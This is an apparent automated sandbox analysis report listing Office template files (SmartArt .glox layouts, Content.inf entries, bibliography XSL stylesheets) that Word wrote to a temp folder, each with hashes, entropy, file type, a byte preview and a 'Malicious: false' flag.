SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD7DC2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7DC2.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCD7DD3.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7DD3.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCD7DD4.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7DD4.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCD7DE4.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7DE4.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCD7DE5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7DE5.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCD7DF6.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7DF6.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD7E07.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E07.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCD7E08.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E08.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCD7E09.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E09.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
